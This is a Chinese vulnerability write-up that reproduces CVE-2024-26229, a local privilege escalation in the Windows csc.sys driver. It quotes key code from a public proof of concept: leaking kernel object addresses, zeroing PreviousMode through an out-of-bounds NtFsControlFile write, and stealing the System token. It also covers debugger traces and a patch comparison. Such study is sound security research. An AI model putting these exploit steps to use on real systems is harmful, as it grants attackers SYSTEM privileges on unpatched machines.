CVE-2024-26229 漏洞复现分析

概述

该本地提权漏洞是Csc.sys驱动中CscDevFcbXXXControlFile函数存在越界读写导致的。

漏洞原理

Csc.sys中的CscDevFcbXXXControlFile函数在操作代码为0x1401A3时直接对InputBuffer区域进行了修改,而没有去判定这指针指向的内存地址是否合法。他会直接对我们传入的地址的+0x18位进行修改。
在这里插入图片描述

提权代码分析

代码链接:https://github.com/varwara/CVE-2024-26229/blob/main/CVE-2024-26229.c
跟csc.sys建立符号链接,使用 NtCreateFile 创建一个新的文件句柄,该句柄与 csc.sys 驱动的设备对象关联。

	RtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\.");
	InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);
	status = NtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);

枚举当前系统中的进程句柄信息

Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)

typedef struct _SYSTEM_HANDLE_INFORMATION
{
	 ULONG ProcessId;            // 进程ID
	 UCHAR ObjectTypeNumber;     // 对象类型索引
	 UCHAR Flags;                // 句柄标志
	 USHORT Handle;              // 句柄值
	 PVOID Object;               // 指向对象的指针
	 ACCESS_MASK GrantedAccess;  // 授予的访问权限
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

获取指定进程的EPROCESS地址

	for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
	{
		if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
		{
			*ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;
			Ret = 0;
			break;
		}
	}

这段代码调用之前定义的 GetObjPtr 函数来获取 System 进程和当前进程的 EPROCESS 结构地址。

Ret = GetObjPtr(&Sysproc, 4, 4);
GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);

获取当前进程和线程的结构体地址

hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
.......
hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);

越界读写点,修改线程结构体的PreviousMode,使其进入特权阶级。
在这里插入图片描述

status = NtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);

NTSTATUS NtFsControlFile(
	   IN HANDLE FileHandle,//文件或目录的句柄,csc.sys的句柄
	   IN HANDLE EventHandle,
	   IN PIO_APC_ROUTINE ApcRoutine,
	   IN PVOID ApcContext,
	   IN PIO_STATUS_BLOCK IoStatusBlock,
	   IN ULONG FsControlCode,//文件系统控制操作代码,0x001401a3 
	   IN PVOID InputBuffer,//越界读写,提升线程的权限为PreviousMode 
	   IN ULONG InputBufferLength,
	   OUT PVOID OutputBuffer,
	   IN ULONG OutputBufferLength
);

提升进程令牌权限,提升至跟System进程权限一致,然后恢复线程权限位USER_MODE(token的偏移不同版本可能会不一样)
在这里插入图片描述

Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);
Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);

最后完成提权,使用提升的权限启动一个新的命令提示符。

system("cmd.exe");

动态调试漏洞

获取程序的Peb ObjectTable地址
在这里插入图片描述

在NtFsControlFile之前插入一个DebugBreak让他断下来,然后这时候观察栈里面传入NtFsControlFile中的数据,其中0x1401a3是操作码,ffffa20f`f947e29a是KTHREAD+0x232-0x18的值
在这里插入图片描述
这时候Kthread结构体中的PreviousMode位还没有被修改,此时还是UserMode。
在这里插入图片描述
此时再给CscDevFcbXXXControlFile下一个断点跑过去
在这里插入图片描述
判断操作码
在这里插入图片描述
把刚刚的Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18传入RAX寄存器中
在这里插入图片描述
这里把KTHREAD的PreviousMode置0
在这里插入图片描述
然后完成提权
在这里插入图片描述
在这里插入图片描述

补丁分析

这是原本的代码 没有对地址进行检测

if ( *(_DWORD *)(a1 + 0x20C) == 0x1401A3 )
  {
  v8 = *(_QWORD *)(a1 + 0x218);
  v3 = 0;
  *(_QWORD *)(a1 + 0xB8) = 0i64;
  *(_QWORD *)(v8 + 0x18) = 0i64;
}

修改之后调用了ProbeForWrite对地址是否在用户空间进行了检测,如果地址在内核空间的话会抛出异常。检测完毕之后再去置0。

if ( *(_DWORD *)(a1 + 0x20C) == 0x1401A3 )
  {
  v9 = *(_DWORD *)(a1 + 0x228);
  *(_QWORD *)(a1 + 0xB8) = 0i64;
  if (v9 < 0x24)
  {
  v2 = 0xC0000023;
  }
  else
  {
  	v10 = *(_QWORD *)(a1 + 0x218);
  	if( *(_BYTE *)(*(_QWORD *)(a1 + 40) + 64i64))
  		ProbeForWrite(*(volatile void **)(a1 + 0x218),v9,4u);
  	if( *(_DWORD *)(v10 + 4) == 6)
  	{
  		*(_QWORD *)(v10 + 0x18) = 0i64;
  		v2 = 0;
  	}
  	else
  	{
  		v2 = 0xC000000D;
  	}
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值